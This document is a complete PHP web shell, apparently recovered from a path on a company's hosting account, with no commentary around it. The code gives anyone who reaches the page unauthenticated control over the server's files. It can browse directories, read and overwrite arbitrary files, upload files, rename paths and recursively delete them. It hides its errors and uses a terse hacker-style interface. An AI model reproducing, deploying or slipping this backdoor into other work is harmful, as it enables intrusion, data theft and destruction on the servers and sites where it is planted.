/home2/romeojul/public_html/hitechinsulation.co.in/wokewoke.php
<?php @error_reporting(0); $p = realpath($_GET['p'] ?? __DIR__); function h($x){return htmlspecialchars($x,ENT_QUOTES);} function u($x){return urlencode($x);} function del($x){ if(is_dir($x)){ foreach(scandir($x) as $f) if($f!='.'&&$f!='..') del("$x/$f"); @rmdir($x); } else @unlink($x); } if(isset($_GET['x'])) del($_GET['x']); if(isset($_POST['sf'])) file_put_contents($_POST['ff'],$_POST['c']); if(isset($_POST['d'])) @mkdir("$p/".$_POST['d']); if(isset($_POST['nf'])) file_put_contents("$p/".$_POST['nf'],''); if(isset($_FILES['u'])) @move_uploaded_file($_FILES['u']['tmp_name'],$p.'/'.$_FILES['u']['name']); if(isset($_POST['rf']) && isset($_POST['rn'])) @rename($_POST['rf'], dirname($_POST['rf']).'/'.$_POST['rn']); if(isset($_GET['e'])){ $f=$_GET['e']; echo "<style>body{background:#000;color:#0f0;font-family:monospace}</style>"; echo "<h4>".h($f)."</h4><form method=post><textarea name=c style='width:100%;height:400px'>".h(file_get_contents($f))."</textarea><input type=hidden name=ff value='".h($f)."'><br><button name=sf>save</button></form>"; exit; } if(isset($_GET['r'])){ $f=$_GET['r']; echo "<style>body{background:#000;color:#0f0;font-family:monospace}</style>"; echo "<h4>Rename: ".h($f)."</h4><form method=post><input type=text name=rn value='".h(basename($f))."'><input type=hidden name=rf value='".h($f)."'><br><br><button>rename</button></form>"; exit; } echo "<style>body{background:#000;color:#0f0;font-family:monospace}a{color:#0ff;text-decoration:none}</style>"; foreach(scandir($p) as $f){ if($f=='.'||$f=='..') continue; $fp="$p/$f"; echo (is_dir($fp) ? "[D] <a href='?p=".u($fp)."'>".h($f)."</a>" : "[F] ".h($f)." <a href='?e=".u($fp)."'>e</a>")." <a href='?r=".u($fp)."'>r</a><a href='?x=".u($fp)."' onclick=\"return confirm('delete?')\">x</a><br>"; } echo "<hr><form method=post>dir <input name=d><button>+</button></form><form method=post>file <input name=nf><button>+</button></form><form method=post enctype=multipart/form-data><input type=file name=u><button>up</button></form>";
save